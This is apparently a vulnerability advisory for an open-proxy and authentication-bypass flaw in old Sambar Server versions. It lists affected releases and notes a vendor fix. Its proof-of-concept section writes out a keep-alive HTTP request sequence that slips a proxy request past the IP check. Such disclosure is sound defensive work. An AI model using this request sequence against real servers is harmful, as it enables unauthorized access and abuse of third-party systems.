Sambar Open Proxy and Authentication Bypass Vulnerability

BID:10256

Info

Sambar Open Proxy and Authentication Bypass Vulnerability

Bugtraq ID: 10256
Class: Origin Validation Error
CVE: CVE-2003-1286
CVE-2003-1285
Remote: Yes
Local: No
Published: Jan 30 2003 12:00AM
Updated: Jul 12 2009 04:07AM
Credit: Discovery of these issues is credited to David Endler.
Vulnerable: Sambar Server 5.3 b4
Sambar Server 5.3
Sambar Server 5.2 b
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Enterprise Server 4.0 SP6
- Microsoft Windows NT Enterprise Server 4.0 SP5
- Microsoft Windows NT Enterprise Server 4.0 SP4
- Microsoft Windows NT Enterprise Server 4.0 SP3
- Microsoft Windows NT Enterprise Server 4.0 SP2
- Microsoft Windows NT Enterprise Server 4.0 SP1
- Microsoft Windows NT Enterprise Server 4.0
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6
- Microsoft Windows NT Server 4.0 SP5
- Microsoft Windows NT Server 4.0 SP4
- Microsoft Windows NT Server 4.0 SP3
- Microsoft Windows NT Server 4.0 SP2
- Microsoft Windows NT Server 4.0 SP1
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
Sambar Server 5.2
Sambar Server 5.1
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Enterprise Server 4.0 SP6
- Microsoft Windows NT Enterprise Server 4.0 SP5
- Microsoft Windows NT Enterprise Server 4.0 SP4
- Microsoft Windows NT Enterprise Server 4.0 SP3
- Microsoft Windows NT Enterprise Server 4.0 SP2
- Microsoft Windows NT Enterprise Server 4.0 SP1
- Microsoft Windows NT Enterprise Server 4.0
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6
- Microsoft Windows NT Server 4.0 SP5
- Microsoft Windows NT Server 4.0 SP4
- Microsoft Windows NT Server 4.0 SP3
- Microsoft Windows NT Server 4.0 SP2
- Microsoft Windows NT Server 4.0 SP1
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
Sambar Server 5.0 beta6
Sambar Server 5.0 beta5
Sambar Server 5.0 beta4
Sambar Server 5.0 beta3
Sambar Server 5.0 beta2
Sambar Server 5.0 beta1
Not Vulnerable: Sambar Server 6.1 beta
Sambar Server 6.0.1
Sambar Server 6.0

Discussion

Sambar Open Proxy and Authentication Bypass Vulnerability

Sambar improperly validates the IP address of an originating connection and can be used to gain access the administration interface without authorization.

Once the remote attacker has gained access to the administrative interface, further attacks are possible, including privilege escalation and unauthorized system access.

Exploit / POC

Sambar Open Proxy and Authentication Bypass Vulnerability

The following example has been supplied:
-> GET / HTTP/1.1
Connection: keep-alive
*This is valid web server request. It's granted.

<- Sambar default web page

*Because the connection is keep-alive it's not broken after page is sent.

-> GET http://www.example.com HTTP/1.1

*This is valid proxy requests. This time source IP is not validated, because connection was established before

<- Web page from external site
*Sambar proxies our request.

Solution / Fix

Sambar Open Proxy and Authentication Bypass Vulnerability

Solution:
The vendor has released an upgrade dealing with this issue.


Sambar Server 5.1

Sambar Server 5.2

Sambar Server 5.3

References

Sambar Open Proxy and Authentication Bypass Vulnerability

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